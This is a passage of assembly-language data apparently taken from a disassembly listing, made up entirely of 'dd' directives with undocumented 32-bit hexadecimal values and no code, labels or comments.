		dd 0BC4FFDBFh, 0A23202E5h, 870840EEh, 20C8045Dh, 3BF38101h
		dd 704AD5FDh, 5B4AB35Eh, 12AADBECh, 0B70ED32Fh,	98B012E2h
		dd 0FFB4E8Bh, 0C4D6A7A7h, 0B85DED1Bh, 0E8555F2Ah, 1F3EAE67h
		dd 60F7A80h, 87EB6E8Dh,	60BB604Ah, 0A4B4CB96h, 2D79614Dh
		dd 0E4825910h, 11C5400Ah, 4A8DDE3h, 0E8A9AFD8h,	6465ABDCh
		dd 4DAB54ABh, 0D6584B49h, 0B694A48h, 0DA0E705Fh, 0F746222Fh
		dd 0CF85D200h, 0F6ADE321h, 0F5DD021Eh, 9B9D971Bh, 55AC09DDh
		dd 0BF31FEA1h, 43DBD0CFh, 0CE585A38h, 0AD28BC6Eh, 1C1775E4h
		dd 2D5DBD23h, 0C0E9547Eh, 0CF615BA1h, 0A617DAE8h, 0B3AFE019h
		dd 390901ACh, 9589E86Fh, 7BFEDEF5h, 0FCF771C0h,	421A0072h
		dd 0EF3FBBEBh, 0A816528Fh, 2AEBED27h, 3DC580A4h, 0F133086Ch
		dd 0AC80363Ch, 7F58F1A3h, 737E5B00h, 0B5D6F54h,	2AC90E25h
		dd 497C491h, 0BF2DDD65h, 0DF804BA9h, 79E85CB3h,	5582D125h
		dd 0C7D61F18h, 5B1F7D2Dh, 1817D9C3h, 0D3890964h, 1359F8F2h
		dd 130E3147h, 1CD6FEEh,	2703DCCAh, 79CEE99Eh, 0E4509A3h
		dd 5FEB30DCh, 0DEF26F35h, 6AF0C085h, 890088D9h,	82CE791Fh
		dd 12A9BFFEh, 6F7E5EB3h, 0D0EE28B2h, 85C0C8BCh,	7EBD2B38h
		dd 91F19579h, 90457C2h,	8DF4B057h, 0E31E5AF9h, 193E8ABAh
		dd 25117827h, 125BEAB5h, 7CAD98DBh, 2F060391h, 0BD8D0166h
		dd 0C431B99Ch, 0BCAF5153h, 245B8EAAh, 0D2BC840Fh, 2B53B0A7h
		dd 0C17345FFh, 79111B00h, 0E726838h, 8D58123Fh,	3EE6B180h
		dd 0AB060A7h, 0D8906E62h, 0CE1DF925h, 0BB500271h, 7B484EB2h
		dd 7B5753CAh, 0B0327231h, 642578F6h, 73ED9D52h,	120845E0h
		dd 9F2104B3h, 0B23D5A9Eh, 0A7007AE1h, 94D76D4Dh, 17CE4EAh
		dd 0BA0BFCFEh, 6B3A4243h, 674CCCA3h, 0EA020116h, 95EC2C29h
		dd 0B2104AA9h, 0B0A6D3F5h, 1DDDF6A0h, 96D883Fh,	8B3656A7h
		dd 0AD46DE1Ah, 0B85691E2h, 0D682B362h, 1946D6DAh, 0F43A0801h
		dd 21F1756Ah, 0ABA82A89h, 0A6C28316h, 0BBEDF05Ch, 49C4B529h
		dd 3D78FCB3h, 9540265h,	0B2BFF11h, 9D8AFE5Fh, 2FA5898Bh
		dd 0B78BB773h, 554B5C56h, 0AF654606h, 1C2D2764h, 1CF9FFF1h
		dd 0E004E18h, 217E9903h, 9049857Ch, 0CA6AE927h,	0DA313FADh
		dd 6B5E61E9h, 1F1C2379h, 50F0588Dh, 5043FF1h, 859D89B9h
		dd 608139D2h, 0E1A31048h, 44103428h, 0C2DAD3CEh, 184C2181h
		dd 0C165D179h, 6E92CE31h, 0E86D9656h, 0E33B0CDDh, 0A71B8816h
		dd 963247Eh, 8D538D85h,	941534BFh, 4DD40BCDh, 74B587D6h
		dd 0C0529EBEh, 1AB31D96h, 0AB3A97F9h, 0FD410FCh, 0A62612ADh
		dd 0CD75F7E0h, 0E0993D3Bh, 3CB880BBh, 7DA6EDEBh, 9C810068h
		dd 3002CEF9h, 4234D426h, 7BBFD1D5h, 0F2D2002Eh,	6EA5D4CFh
		dd 96311493h, 7816F837h, 0D16DB90Ah, 80F3AD97h,	4B518366h
		dd 2DF98A5Bh, 0D850F362h, 0B32583B5h, 1DB57D5Ch, 86601D12h
		dd 711B1Fh, 0D93A7796h,	0F8EF2378h, 0C636C1BDh,	0BC23D82Fh
		dd 69634B00h, 0FE41F5E3h, 0D01412EFh, 0D344F386h, 0D080EADAh
		dd 6B3BF6B0h, 3168EC02h, 0B0945BDh, 9EB06DF1h, 4A90E9FFh
		dd 9F9BEFF2h, 0B755ECC2h, 295528E2h, 2DF10236h,	0B98B0707h
		dd 60946579h, 346518B6h, 38B7FC0Fh, 0A6CA6133h,	59AD4B11h
		dd 0C906B1B8h, 5FDF793Eh, 0BB294B42h, 52AD7956h, 0B40022E8h
		dd 1F889FFBh, 60FE256Eh, 382FD4EBh, 8A250619h, 5E71E2DAh
		dd 8050DCBBh, 2540A599h, 0C6BB0790h, 0F01BB5ACh, 5F5CB960h
		dd 52180D01h, 5E10BA66h, 2F9061C4h, 2DE5800Fh, 0A1225400h
		dd 10F3BCAh, 412E8BB1h,	2E4623C1h, 9DD05D1h, 12018948h
		dd 0B81B799Dh, 0E59AB50Ah, 5AF5A8D3h, 169C1C8h,	0CAE0D2A9h
		dd 0E0383034h, 0EB125B3Ah, 8EF3E412h, 0ACE6815Eh, 40F42FC8h
		dd 9EBF04D1h, 0BC5E26E6h, 77AAA24Fh, 41608DEFh,	1897C623h
		dd 7D95C29Eh, 6A24D425h, 7DDE1102h, 0ED57090h, 1E7EECC1h
		dd 0BCF522C7h, 0E3A2DACEh, 6BE4CC5Fh, 73440E61h, 0CBFA9B00h
		dd 305E1AE6h, 6254F22h,	31D98A19h, 20BF4CC2h, 6FE5DDCCh
		dd 0F7E5DD52h, 0F2EF8912h, 71AA2571h, 3839C265h, 2D09220Ah
		dd 1EED772Ch, 0C0EAD8E0h, 9ADE2586h, 278745EEh,	0B8B7CE0h
		dd 489F27BBh, 31216C6h,	764AB59Dh, 501DA690h, 30F6F812h
		dd 8A10A350h, 0AD404174h, 2F6857FFh, 485CD81Bh,	70FA4B3Ah
		dd 2691BDD8h, 1137FD97h, 22601912h, 1780BED1h, 0FC7A65A3h
		dd 8D010651h, 0C25417E5h, 0FF6AFB82h, 308146E0h, 0E152D84h
		dd 4F447E59h, 0D355C853h, 0AF5FA700h, 6071BDD6h, 0F68800E0h
		dd 8A90FC3h, 4891E2A6h,	61B76B82h, 1A905DDCh, 0B05A5B5Fh
		dd 34004EA3h, 278B586Dh, 0B0385D6h, 0A449C6EDh,	0AAE08872h
		dd 89251641h, 9E5E99Dh,	370E65Bh, 10735963h, 0C085D1Ah
		dd 125771E4h, 5F1040B9h, 0EB3AA497h, 4DB5C55Fh,	9FD8EF07h
		dd 4E034357h, 694484CDh, 0A8753FAh, 17AA6042h, 0C54C00F1h
		dd 95316139h, 0E412ED25h, 0FE90BD56h, 3800872Ah, 0D5926D76h
		dd 0F025D80Eh, 0BAEF0B84h, 0A9DF16DFh, 976D7025h, 2B4510F7h
		dd 0D38103C8h, 4DDBFB93h, 0DE90D1F3h, 4DA086E9h, 16446995h
		dd 6660B585h, 3C09BF49h, 5C4A56B6h, 0C9EB4165h,	2538162Bh
		dd 65710275h, 310F1191h, 0FE95FDB5h, 62505124h,	0B9D52405h
		dd 0A27A09C2h, 0F0A15AC0h, 0F85A122Eh, 0ECA5DE44h, 0BE82256h
		dd 25083E1Eh, 513DA800h, 98CB1C6Ch, 0A2F96471h,	5B614601h
		dd 126F8310h, 0F233A98Ch, 0AC0B8462h, 0C4903016h, 5300D9F7h
		dd 0ED90F2CDh, 2D19D0ADh, 0FCF36A03h, 0C94AE778h, 4A79D9EAh
		dd 82DB8080h, 0B51037B9h, 0A341ECEFh, 357057CAh, 85074121h
		dd 18DD8DFAh, 1D6D25ABh, 0FB1212DBh, 0AD4BCCh, 2132AAB3h
		dd 780E3568h, 759A3E00h, 0EFE31BA1h, 274A16A3h,	590AF0FCh
		dd 4AB85438h, 0A6ECC6A9h, 496C0C0Bh, 617F5652h,	1E01719Dh
		dd 0D1B03746h, 6732A53Fh, 526564A9h, 4F15EC0Ah,	0E86AFD26h
		dd 5FFA18C7h, 24A94A98h, 97BCB380h, 0E4556E92h,	0C1F800FBh
		dd 0D1B08134h, 2728DAFBh, 5520D74Fh, 125F7702h,	0F73075B5h
		dd 90BC5B59h, 6EC0C7h, 94CA40A0h, 3FFCB901h, 51617644h
		dd 8317DC2Eh, 2CBFF89Dh, 0F6081055h, 0C79DAB02h, 75F4534Ah
		dd 735C4342h, 429ED56h,	407B2D00h, 0A6545CDFh, 0C6AB3602h
		dd 826CECEFh, 405019Bh,	0FB05FE5Bh, 80211345h, 610215BDh
		dd 72515F5Eh, 0C4C09E7Ah, 6580B758h, 92D1F70Ah,	8B3DBD67h
		dd 33F1AC80h, 0BF8D0F78h, 544B464h, 0AEC00482h,	0AE2B341Fh
		dd 955BDAF4h, 0A121D1CEh, 9891E34h, 78790D7Dh, 97A1F5C6h
		dd 0AE262705h, 0FD34DCCEh, 0E09BAB26h, 0CCE001DFh, 2EC53ADBh
		dd 0E26412BBh, 96958E84h
		dd 2EE988BDh, 2E4A4544h, 206AC2FAh, 0B9ED060Bh,	0F660580Dh
		dd 0AC15BAC0h, 3A005B8Bh, 7DC95E45h, 7ABF4E1h, 605F12DCh
		dd 0BD7839CEh, 831F37BFh, 962ADCE3h, 0DD5EAEE2h, 0C0B6CD27h
		dd 72C9DD8Ah, 0ED04A54Ah, 0F9BDEB4Ch, 0DE016C12h, 20098E1Ch
		dd 0B94A35BCh, 7A22989Bh, 3553959Dh, 4C181579h,	660960E2h
		dd 7FCEBBB9h, 0D8719989h, 51DF8084h, 0BB0398EEh, 0EA638900h
		dd 4EBF5035h, 418F2D96h, 27DEBBFCh, 0C105DF16h,	0F96FBA6Ah
		dd 31B9E000h, 36410DCh,	54BD9D25h, 0D88B7852h, 0DF755073h
		dd 5FDE4BDDh, 529498E7h, 8F9800B0h, 0C6EAAE65h,	0E02CF448h
		dd 184B3ADCh, 702B4Ah, 30F956B0h, 3DAF0CB7h, 0FACE5E60h
		dd 2E2B585Bh, 0A5D19DBDh, 279FB575h, 33163330h,	17E59709h
		dd 0E2F966h, 0CBDD2CA8h, 899FE753h, 11B555DCh, 758B1491h
		dd 240B7F0h, 0A2549D8Bh, 129E984h, 4B7D46C8h, 0C8B5DB31h
		dd 163C114h, 2A1EC585h,	0A24F29E7h, 4E6C0076h, 4F44C128h
		dd 862000B8h, 5FDD983Eh, 624B6145h, 7980C7CCh, 989A97EBh
		dd 0B6D4E6D7h, 198427DFh, 6B80F179h, 9DB414B6h,	89E82B6Fh
		dd 0C494F996h, 80BDD676h, 4699D2Fh, 805A3C50h, 67A3BA6Bh
		dd 0AB213B07h, 85377C9Eh, 0E0381B88h, 0BD38010Ah, 0BFB65A2Dh
		dd 0F83015F2h, 8531155Fh, 6800E261h, 0DEDA789Ah, 0EA13EEBFh
		dd 77B01AA5h, 5969065h,	0B1852921h, 0A1B6A40Fh,	2DD2B4Bh
		dd 0DF121998h, 0ACB457B3h, 86028924h, 0D511B4C5h, 105988B8h
		dd 4BB77D8Ah, 67CC5625h, 6136612Ah, 2E6FED80h, 0A66BA82Dh
		dd 0FC8A818Ch, 7DC23FE9h, 2700BD3Dh, 0E72C2AB2h, 95049AB7h
		dd 7BD2829Dh, 2BDE5040h, 3F01D871h, 7F136A22h, 0C13051ECh
		dd 5B0740A1h, 0AD257890h, 0E5EC710h, 0BE12045Ch, 0D480DB9Bh
		dd 974BF0CAh, 368ECD1Eh, 5B282864h, 697C9C95h, 5B7F6E25h
		dd 0F1777808h, 6F0131B0h, 0CE0AE012h, 35100BE8h, 86002BACh
		dd 78802DC7h, 16233C30h, 57E19501h, 93FBFD01h, 550E5449h
		dd 0B59D9796h, 0FE470055h, 0EC9E1995h, 21962D77h, 0A9EB2444h
		dd 666F1310h, 0BB0017AFh, 0D5FB8762h, 1691B2B5h, 0BE178A85h
		dd 23C987C1h, 0EFBB9600h, 68F0C524h, 0F38B6007h, 0ECAF5244h
		dd 9661A1F8h, 53B88439h, 800FD917h, 0D0BF4F20h,	27752B68h
		dd 0E3F512B7h, 17893BBAh, 28BF09E5h, 0F922850Ch, 1DBD210Fh
		dd 0D3C48609h, 96E8DB9Bh, 0CC5E1B6Ch, 1BB2B7A6h, 2E83130h
		dd 2CDE40F4h, 44D7993Bh, 6375000Dh, 435F2B73h, 0BB008391h
		dd 956A9457h, 4B6548ADh, 0BD7D84B1h, 0B8DCB84Fh, 0D9769D68h
		dd 0ED7F6225h, 0FBF7C0BBh, 7A3E92F0h, 6CF9CE8Dh, 0EE5D8789h
		dd 35F90084h, 1384DC65h, 620214D1h, 4DB50988h, 65CE7725h
		dd 13CDBB5h, 317E6FDBh,	30AAA628h, 0C46B00DEh, 0DFA7538Bh
		dd 0A83C277Dh, 7CD827A2h, 2AB9E26Fh, 0D4EB715Ch, 509609D9h
		dd 8F3ED079h, 605BD74Ah, 0E266F1A9h, 0F4040001h, 6AD8FD4Ch
		dd 0CE07BF52h, 5F3DA092h, 15B99615h, 43B83DB8h,	6BA351BFh
		dd 316038F4h, 971CCD8Dh, 4DB53216h, 0A72A4009h,	76753F0Ch
		dd 0A3884824h, 0F6130D09h, 8A1BC07Bh, 0FE2A3946h, 0FD959E97h
		dd 0AB5F5985h, 6AAE8575h, 98F53F2Bh, 9558F9D9h,	0C71C9702h
		dd 7EBF2A44h, 0E9474F37h, 930717B3h, 54F6B856h,	45A09AE1h
		dd 89C1DFA4h, 31D3738Ah, 4A1705CCh, 0A3C24BD3h,	0E76D5510h
		dd 0EF6318E4h, 0B4C04898h, 22F170C4h, 179AB717h, 79BFF9DFh
		dd 6CE63B17h, 0E3F93BA0h, 4CB68537h, 8D018908h,	95C5787Fh
		dd 9CD48ADEh, 30DFC971h, 4BF7982Bh, 592924Dh, 7CFB0320h
		dd 0A3B14B27h, 91CB4AAAh, 13FE8540h, 0BAF36EE9h, 0AEF059B6h
		dd 0CD5832DEh, 1E9D1149h, 2BD1BD09h, 0F12D79D7h, 4B23614h
		dd 0C58D2984h, 0A5EB50AEh, 0E6194616h, 0CA0F0E2h, 3D080B26h
		dd 3A19E071h, 28A0208Eh, 0FB3B6605h, 0EFBA74h, 244BEBFh
		dd 892C2AFEh, 584A798Dh, 0AB25BD0Ah, 0C456484Bh, 756FBD73h
		dd 0E96C7D49h, 75B50309h, 0BAD9D72Ch, 0C095378Fh, 92254A69h
		dd 0B270125Dh, 0C212CD8Dh, 0F9743875h, 28960E08h, 0B8409179h
		dd 0AD82975Ah, 0A3867F0Eh, 0EA2C8453h, 0B74A88A9h, 0B3BEA4ECh
		dd 0B5890446h, 0EB8819A1h, 91B386D9h, 0FAE92A58h, 0D23C0CDFh
		dd 0D5E7173h, 18AFB199h, 1C08B4Eh, 5C15F4EBh, 0C0FAC2AFh
		dd 660067B0h, 0C7888779h, 1E81D82h, 0D0CD4EAAh,	0C82DA28Bh
		dd 5600193Bh, 0DBD3F8F7h, 647875h, 4DD1B549h, 62E58C1Fh
		dd 0DF34E0Fh, 9CD9E057h, 0FB9D96h, 0F6895201h, 0AE3AB758h
		dd 0B888F900h, 9BD398Ah, 4103A6Dh, 9BA0ACh, 83696A3Ah
		dd 363F6B65h, 0DAA60077h, 828F4DD8h, 0F54F005Eh, 26758D76h
		dd 1B00D65Ch, 0D447D5B2h, 0E82EB7FDh, 0DCF00ABh, 0A42D6832h
		dd 0D3198F48h, 370818ACh, 2A6B2180h, 8EA76668h,	5F5070Fh
		dd 0E297203Dh, 284E5B3Eh, 8C61A4h, 64A0DA39h, 0D5BFDFF0h
		dd 0FE59EA1Dh, 408318B0h, 0C1D4032Dh, 0A8BC7ECFh, 8B0010A6h
		dd 222FEE2Ah, 0EED8092Bh, 0B208CC13h, 0EEFAE821h, 33D5E224h
		dd 0B7428C3Ch, 0CB992Bh, 344CDA64h, 9F87CD0Ah, 96F53301h
		dd 0E3AA11A8h, 0B12D1443h, 50BCD526h, 31A05806h, 0D33C2086h
		dd 0E80E0F1Eh, 19B883ADh, 3E19088Bh, 5A0926A8h,	0CEA600FEh
		dd 0C08245B8h, 0BA6B5F20h, 8D1EB4D9h, 429FDDC8h, 0B10EF480h
		dd 0BCFD2Fh, 12484C15h,	4E0B663h, 94EBF500h, 95794188h
		dd 3952007Ch, 0AE5D1CC3h, 0CC00D94Ch, 3B22D1B2h, 7C041D3Ah
		dd 1CC50049h, 0BF9175DAh, 2A006584h, 0BD128573h, 0F4EEA020h
		dd 0F902047Fh, 87A4C2C1h, 3252C00Eh, 58C71D45h,	1A20E744h
		dd 6FB442A7h, 0F98050BBh, 5164F1EAh, 0CC2AE900h, 0E1AFAE4Eh
		dd 0D9461D95h, 5D88F074h, 4B7441BDh, 670B0580h,	813740AFh
		dd 805E0497h, 6087DA1h,	0C02D476h, 0F2DC20E1h, 21CE4808h
		dd 6091Fh, 0A37AFE10h, 0CA2B00C8h, 284BD676h, 0B40C491Eh
		dd 31560555h, 6CFE00FBh, 0B744EF17h, 0FD3C8C38h, 693B804Ah
		dd 18CD159Ch, 0B56F18C5h, 9ECED1B1h, 3706DF00h,	2F594099h
		dd 0C808CC81h, 9600F121h, 97630FDFh, 1D9E09C2h,	0D048CE90h
		dd 80AE3CD6h, 0D5D040DBh, 8C19E6h, 4E3F988Dh, 2E2DF7D7h
		dd 6995A000h, 7968C4BDh, 222C2AACh, 5992008Ch, 408DF511h
		dd 0DC0A4606h, 1043BD71h, 93B79D00h, 0E410B7Ch,	3B15CD39h
		dd 0B4188D81h, 77A181B6h, 56A5B21Dh, 146C5E80h,	0AD6B5544h
		dd 3CA0CA15h, 0F2D43C8Ch, 46982950h, 0E154DD00h, 0C244A958h
		dd 649C03C3h, 0DFA1CA97h, 3374310Ah, 2C9CB084h,	2BBF9170h
		dd 0AF4F0064h, 540AD4F0h, 9E014CB3h, 0B585346Bh, 0ECF81CA7h
		dd 0BC0424D1h, 765E0104h, 0FFD4B14Eh, 6FDE1007h, 0C04A2BC0h
		dd 0F57ABD40h, 55E706DCh, 88391E67h, 1E3B6344h,	7ACC032Fh
		dd 101B488Ch, 0D001A5B0h, 5B30EE7Fh, 0C457C666h, 84BC1B72h
		dd 9C606DF0h, 372304DFh, 0EFC43F89h, 3C009448h,	0C69CC1Eh
		dd 0F8493863h, 0E22B05A4h, 40212C86h, 5513E180h, 0D000EF15h
		dd 4464D96Bh, 7A948B4h,	22DCF7A4h, 0AE4620E5h, 403BE15Ch
		dd 47B06075h, 2C2C6F92h, 0F6C6C1Eh, 0C1C2DEE4h,	9B602865h
		dd 0F66041D1h, 0D33BD040h, 0EE58C066h, 0C097DEEBh, 39F90F03h
		dd 995D8605h, 91801F2Dh, 9A71023Ch, 0D20C21A5h,	8199DC1h
		dd 6321C031h, 3DEC710Ah, 9246BC90h, 7B060D02h, 1C2AD4h
		dd 0ED06051Ah, 3A7F14B7h
		dd 501839F4h, 0A7D057C9h, 40C8A09Eh, 0C8C77816h, 6C00198h
		dd 0F7A59E71h, 5F883218h, 2171010Eh, 47BD6F3Ch,	2B198528h
		dd 0CC42B4DBh, 0A04550B7h, 85DC82A0h, 0D4E00570h, 547AC3Bh
		dd 0FCD94ED0h, 9A2203CCh, 1B2C9033h, 50899118h,	0CBE82010h
		dd 1A1DF884h, 0A15B4361h, 2022960Bh, 9E7AE500h,	79904C0Ch
		dd 6044B219h, 2180DF08h, 0E59E7283h, 4B006E40h,	524DCB3Ah
		dd 1FA73B65h, 8A70ADA6h, 9188C24Ch, 71038004h, 8729A59Bh
		dd 710B6200h, 72723E67h, 6CF206BDh, 0B024B863h,	84B13A09h
		dd 0A5F0AFB9h, 0E818B3C1h, 80D72C18h, 2E006ED6h, 0ED99F510h
		dd 3FE30Eh, 0BC095C92h,	0A2C67CFh, 126CD300h, 0C5DA6FAh
		dd 7EB00028h, 0AD7157B4h, 0DD00BB17h, 5FC68CA7h, 1D4B9F07h
		dd 0C026B095h, 0A5DF7C59h, 0F73AD850h, 6B20614Ch, 0C2F44431h
		dd 9BEB0CD4h, 38081CCAh, 298821C0h, 72A1E44h, 0C6AE82A0h
		dd 498BC067h, 0EE6072DDh, 969F09CAh, 22841C5Bh,	951B4066h
		dd 4F0ECC4Bh, 47E57C03h, 1F5C4C27h, 0DFC250h, 825E3787h
		dd 0F9017D02h, 0AD109519h, 97C847CCh, 208D60EAh, 20386B07h
		dd 0C420D453h, 0C461FC8Ah, 4DCBC3A8h, 80C5C13Ah, 0D57DC06Eh
		dd 20B6160Bh, 98C009EFh, 1F204B71h, 3080E998h, 0CF9D73BFh
		dd 0D8988716h, 83091E66h, 7B5F0021h, 0F985039Dh, 0C100657Eh
		dd 0B6407673h, 0C01A1FC6h, 0C7833E58h, 1230F75Ch, 9B5FA880h
		dd 1ADC3A40h, 0D06486Eh, 0A905A146h, 0B8423CD3h, 4BB6A804h
		dd 0D2E03059h, 78819D07h, 118004B8h, 310C7CE7h,	670C637Eh
		dd 85B865Ch, 0C821C019h, 7F40C44h, 97420D06h, 2A88B1F2h
		dd 0CFCCB1Eh, 0E5BBBE10h, 0B4F096B0h, 87524B00h, 8AE79ACCh
		dd 69A41435h, 29239009h, 0D09D7001h, 8B188F16h,	7785488h
		dd 0D08C8D9Dh, 0BA12D19Ah, 1008205Ch, 51C8A06Fh, 350C4080h
		dd 448C437Eh, 4860C40Dh, 94E537E8h, 0C896004Dh,	9AF949CAh
		dd 7C126546h, 38400A02h, 1A50E5A9h, 8B613D0Bh, 0BEB691E0h
		dd 0E8CB08CBh, 0B82788D3h, 90082C12h, 0FEB88C7Ah, 39009371h
		dd 98CB1F63h, 0ECE7EC0h, 0D0ABC475h, 0BC8CA80h,	60CA4D99h
		dd 1682A47Ah, 0DC63CEh,	658E9A7Dh, 3001E0A3h, 407F9308h
		dd 0E44CC1DFh, 42048C76h, 737E370Ch, 0CA201862h, 12A0C4Ah
		dd 0E5E3DAD5h, 8734129Ah, 52931F60h, 8871C83Ch,	0E3A6D3Eh
		dd 67860332h, 225C5049h, 0E5586120h, 5D43184Fh,	24E74C10h
		dd 0C8446h, 50D1C47Ch, 89069E06h, 2344073Ah, 704B0E29h
		dd 0DB60D8D0h, 0D347BBB3h, 6908CB66h, 0E2197F21h, 3FD60141h
		dd 368FC22Ch, 6C589798h, 0A2BA3000h, 1FEC612h, 0DB49849Ch
		dd 0BC352A8Ah, 0B8FB9DC8h, 9846F130h, 62377755h, 902A487Eh
		dd 0EC21D005h, 3044D6Bh, 0A786A9CCh, 70051799h,	0F260DFFAh
		dd 722E6C49h, 307B82Fh,	0A2A95E93h, 1B80CA70h, 0B8D252C3h
		dd 0C2D68408h, 54C1442Bh, 22843624h, 238A0536h,	80201D44h
		dd 8BB6101Dh, 0DB0A2C92h, 0FC30BE9Ah, 7D0C4259h, 0EC41508Ch
		dd 0FC58FF7Eh, 49C5881Bh, 1EBC0C09h, 58642088h,	51C659h
		dd 0D116F769h, 36977913h, 75016398h, 0A64DEB15h, 0B8D16787h
		dd 50C01AC0h, 8CDA7450h, 42443704h, 3362C4C2h, 442F8620h
		dd 0E3C60B8Bh, 8F04FB22h, 1080942Bh, 8A1AC4D4h,	1041997Fh
		dd 8721823h, 7F16CE9Dh,	5E4086C4h, 6EC29D7Ah, 0E6A2BB02h
		dd 486D2217h, 0FD0A24h,	1D251AFh, 33CA940Ch, 0F348F404h
		dd 558095BAh, 0AD820C0h, 4A3A1EA9h, 9E2E1140h, 16D19D42h
		dd 409C3397h, 29D7955h,	0DA70FFEh, 5382DDB2h, 94841D06h
		dd 443560D4h, 34C22340h, 8C0E3711h, 0C507442Dh,	21205ACh
		dd 0AEAFCB1Ch, 0BB2A784Ch, 0AA3EECFFh, 0B3A900B1h, 30F46378h
		dd 0D978C8CFh, 7D4436C0h, 22CC46C2h, 2E89002Fh,	4EA44A44h
		dd 0E502AA13h, 0C68E1F9Ch, 2C704190h, 58829A4h,	85B6B02Eh
		dd 0D05402A8h, 4C41F7EFh, 9D0214CFh, 61B45F93h,	82142714h
		dd 0CE304E00h, 0DB7211D8h, 807788C3h, 3D8D613h,	0CDB05DA0h
		dd 0FDCCF104h, 488132F6h, 98892D48h, 0BC1F50FFh, 0F9823711h
		dd 0FD8131DDh, 0B80AE153h, 13E5C4B0h, 233E0E72h, 0ADC5E8Ch
		dd 4A916836h, 6ED8D280h, 448CA3DBh, 0DA001F74h,	8EC085D8h
		dd 10C642h, 0D36326AEh,	72189C36h, 3C88F949h, 436620FCh
		dd 12D23B7h, 16CC9D74h,	898A186Fh, 4A9DEC58h, 1522981Bh
		dd 94680081h, 0B01031BEh, 826C7B0Bh, 55F6E030h,	584EA45Ch
		dd 0BD00E39Eh, 0AAE005ECh, 0D8B00054h, 0C5BCD575h, 5352D341h
		dd 468208A8h, 7B0F003Bh, 0BEA8A7E0h, 7811B726h,	311A7A84h
		dd 97817E0Fh, 703250BFh, 0B50012C8h, 0D3950E20h, 675DA7Dh
		dd 0D68A5D98h, 0B0703038h, 991E9300h, 0D757595Ah, 10BECCCh
		dd 824E9656h, 8326EE2Ah, 78E7BE40h, 0DC581C4Fh,	0ABB47CCh
		dd 0CE28B5E8h, 0C00E8824h, 9FA6B3Ah, 100A4303h,	40BFBCEh
		dd 8E92E5D0h, 44F60548h, 0BA5B9840h, 7B3941Fh, 87B89034h
		dd 50B69E23h, 1681F844h, 0BA0CE7AEh, 9C7A0848h,	1A0C2C7Eh
		dd 0DC6019B7h, 27804D52h, 80D0914Ch, 0D3299C31h, 0DB3A2A54h
		dd 0D65F8248h, 67DF7CB6h, 602F44DCh, 73A5F9Ch, 0C93D1BB2h
		dd 0F8045999h, 0C17D4005h, 25AE47D0h, 0E03D8B35h, 44BB3608h
		dd 20426BD2h, 99FC7511h, 2818D7F8h, 0C223447Ch,	32111Ch
		dd 8C44208Bh, 90555F2h,	3A833C40h, 81E4EC45h, 0BF908363h
		dd 7500304Eh, 102DE5FBh, 671E330Bh, 7470298Ch, 0E2CCA562h
		dd 301E0498h, 6D07EC94h, 5FD77D71h, 423D26F0h, 74C9005Dh
		dd 8CF139ABh, 0D0000E93h, 0C7F69CB3h, 0F0B8D1h,	951C410h
		dd 0E169E22Bh, 0B3E40370h, 0BE815700h, 4A1E903Dh, 713200BAh
		dd 4CA21710h, 8673EF38h, 318CD405h, 9500955Ah, 0FB5E42D7h
		dd 1865008Ah, 5F3767B5h, 4A0049BEh, 0D5814730h,	5CD96B10h
		dd 4600465Bh, 0E9443B04h, 793E7576h, 8B8D0024h,	60B381ECh
		dd 4F51017Dh, 0E2D2BE13h, 88C860DFh, 39611812h,	1F6C700h
		dd 38A72A3h, 0D4405A25h, 0A5CB71D2h, 262D1B88h,	2F920200h
		dd 0CC6241EAh, 789F01CBh, 0BF9C0610h, 0E0E8D4D8h, 31F46630h
		dd 30D0D377h, 0C71144D6h, 2C00F3E3h, 0B3E74EE8h, 0DAA682h
		dd 0FAE29530h, 8E7E1307h, 0C512700h, 6D365BC7h,	19F4ACh
		dd 0A0E3C129h, 7DD83FA3h, 57D3CA0Fh, 6AB88142h,	0CF80225h
		dd 0A81F000Bh, 0CE81F53Bh, 0E800F836h, 0D409C7FFh, 0C3A004h
		dd 454ADAC8h, 7A564C4Eh, 53C5EC00h, 0AA112855h,	8AA302C2h
		dd 9567458Dh, 5E418080h, 0F000CFC0h, 0EFAD5185h, 17CC7Ch
		dd 7DD21284h, 572ADAFDh, 2000E8E2h, 0EF97C305h,	928FE18Ah
		dd 74C00628h, 50813F94h, 9070B802h, 40DAD64Bh, 0FCA84AF9h
		dd 0E8951CF9h, 0EB60F0EAh, 9130DCDDh, 3310119Dh, 0ADA122CCh
		dd 0B5232000h, 0E1E70272h, 8AEC0CBFh, 3B714A1Bh, 0A4A9390Fh
		dd 275A8348h, 70809849h, 564206E2h, 49B1A5D0h, 0D3372C00h
		dd 0ED6AFDCFh, 528A00F1h, 60589425h, 0B0C0BD03h, 0BF556784h
		dd 3CE0A009h, 0A36C0054h, 0E0B796EDh, 0C900EA18h, 9260FED2h
		dd 12E559Ah, 31633E82h,	0E8FA38A8h, 0DB001B95h,	0E11F1DBBh
		dd 2A9FE8h, 0ACBAD2E4h,	0DD08416Dh, 0C1B63Dh, 0C371E65Ch
		dd 74B316h, 0BDE7918Ch,	9A0731A0h, 2000C0F8h, 0E6E2E5FEh
		dd 3D3D61Bh, 1A014837h,	0A8C83052h, 0DBF6FC87h,	439FAC0Eh
		dd 0BD6260E4h, 50DEB0D5h
		dd 44A294B1h, 39731474h, 0CA46AA01h, 765549C0h,	6441C4h
		dd 4D02A674h, 0ACD08E5Dh, 963F6705h, 0E408AA40h, 0D14463DDh
		dd 38402EC2h, 0C3001986h, 9B7E6CA3h, 9644F66h, 65777B7Fh
		dd 0A0C23D87h, 398DD7E0h, 8A0E2F00h, 0C60B5D85h, 3CDF4D05h
		dd 0A3748600h, 81610A0Fh, 8CEC2D00h, 708DFB0Bh,	0E7420159h
		dd 809A974h, 40E2D935h,	904EB280h, 0E40BBEE8h, 90621A9Bh
		dd 0A8D900h, 31120C73h,	8EC48DF0h, 6B41407h, 0A7EE10EFh
		dd 0A7501F6Fh, 145D3251h, 0F4D3C94Fh, 0D4665203h, 89E08365h
		dd 0E1F0359h, 99D4FBEh,	2A569F00h, 0CE7C15h, 0D81A92DFh
		dd 8C91ECB4h, 0D9087F07h, 0C820C382h, 776C220h,	75FAF0Dh
		dd 43B330F0h, 4200A040h, 59C17761h, 15E5CFh, 10C467EDh
		dd 0C5751A56h, 0B0FDA01Fh, 20846200h, 987E6EFh,	804A2B8Bh
		dd 58A5D080h, 7700A775h, 449E7E1Fh, 35CB067h, 8024E5C2h
		dd 40E8B8BDh, 9100218Fh, 0CBE98E83h, 0F27FD3Dh,	0C7DABE2Fh
		dd 76FB51C0h, 0AE0CBDA6h, 10501F17h, 27AD00B6h,	0DC47F13Fh
